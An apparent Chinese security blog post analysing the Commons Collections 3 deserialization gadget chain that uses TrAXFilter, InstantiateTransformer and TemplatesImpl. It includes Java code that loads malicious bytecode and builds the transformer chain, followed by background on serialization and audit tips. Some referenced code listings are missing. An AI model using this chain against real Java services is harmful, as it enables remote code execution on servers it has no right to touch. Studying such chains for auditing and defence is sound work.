当前位置:首页 > 技术 > 正文内容

Java反序列化漏洞分析:Commons Collections3中的TrAXFilter利用链

访客 技术 2026年6月21日 1

背景说明

在Apache Commons Collections 3组件中,TrAXFilter类扮演着重要的角色。它是触发XSLT转换功能的关键类,其构造方法内部会直接调用newTransformer()方法,这使得它成为反序列化利用链中的一个理想触发点。

TrAXFilter类分析

TrAXFilter的构造方法实现如下:

当通过反序列化方式创建TrAXFilter实例时,构造方法会被自动执行,随即触发newTransformer()调用。这一特性使得攻击者无需使用InvokerTransformer进行复杂的反射操作,仅需实例化该类即可完成利用。

InstantiateTransformer转换器

InstantiateTransformer类实现了Transformer接口,其transform()方法负责调用指定类的构造方法。关键代码逻辑如下:

该转换器接收一个Class类型的输入,并返回一个通过反射创建的对象实例。在反序列化漏洞利用中,可以利用这一特性来实例化包含恶意代码的类。

完整利用Payload

首先构建恶意的TemplatesImpl对象:
// 获取默认的类池
ClassPool pool = ClassPool.getDefault();
// 加载包含恶意代码的类
CtClass evilClass = pool.getCtClass("com.payload.EvilClass");
byte[] bytecode = evilClass.toBytecode();

// 通过反射创建TemplatesImpl实例
Class<?> templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> ctor = templatesClass.getDeclaredConstructor();
Object templatesImpl = ctor.newInstance();

// 设置私有属性_bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templatesImpl, new byte[][] {bytecode});

// 设置私有属性_name
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "EvilClass");

// 设置_tfactory属性
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templatesImpl, new TransformerFactoryImpl());
接下来构建Transform链:
// 创建Transformer链式数组
Transformer[] transformChain = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templatesImpl }
    )
};

// 使用ChainedTransformer组合多个转换器
Transformer combinedTransformer = new ChainedTransformer(transformChain);
combinedTransformer.transform(combinedTransformer);

利用条件

  • 目标服务器使用存在反序列化漏洞的Commons Collections 3.x版本
  • 可控制反序列化的输入数据
  • 无需额外限制条件

技术要点总结

  • TrAXFilter的构造方法会自动调用newTransformer()
  • 利用InstantiateTransformer可以触发任意类的构造方法
  • 结合ChainedTransformer构建完整的调用链
  • TemplatesImpl的_bytecodes属性可存储恶意类的字节码

补充知识

Apache Commons Collections

Apache Commons Collections是Apache软件基金会提供的Java集合框架扩展库。它提供了众多高效的集合数据结构、算法实现和工具类,能够显著提升Java开发效率。该库支持泛型和迭代器,提供了线程安全的容器实现,并且包含丰富的算法如排序、过滤、映射等功能。

Java序列化机制

Java序列化是将对象转换为字节流的过程,便于网络传输或持久化存储。反序列化则是将字节流恢复为Java对象的过程。这一机制通过ObjectOutputStream和ObjectInputStream实现。需要序列化的类必须实现Serializable接口。

序列化示例代码

import java.io.*;

public class SerializeDemo {
    public static void main(String[] args) {
        User user = new User("admin", 30);
        
        // 序列化操作
        try (FileOutputStream fos = new FileOutputStream("user.dat");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(user);
            System.out.println("序列化完成");
        } catch (IOException e) {
            e.printStackTrace();
        }
        
        // 反序列化操作
        try (FileInputStream fis = new FileInputStream("user.dat");
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            User restored = (User) ois.readObject();
            System.out.println("用户名: " + restored.getName());
            System.out.println("年龄: " + restored.getAge());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class User implements Serializable {
    private String name;
    private int age;
    
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
    
    public String getName() { return name; }
    public int getAge() { return age; }
}

Commons Collections版本对比

Commons Collections 3与4的主要区别:
  • 架构改进:4版本采用全新架构设计,性能和可用性显著提升
  • 新功能:4版本增加了BloomFilter、MultiValuedMap等新特性
  • Java版本支持:4版本要求Java 8及以上,3版本支持Java 7
  • 依赖简化:4版本移除了对BeanUtils等库的依赖,更加轻量

代码审计学习建议

  1. 深入理解Java语言基础和JVM运行机制
  2. 掌握Web应用常见安全漏洞(SQL注入、XSS、CSRF等)
  3. 熟练使用代码审计工具(静态分析、动态调试、漏洞扫描)
  4. 研究经典漏洞案例,理解漏洞成因和利用方式
  5. 通过阅读开源项目源码提升审计能力
  6. 持续关注安全社区的最新研究成果

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。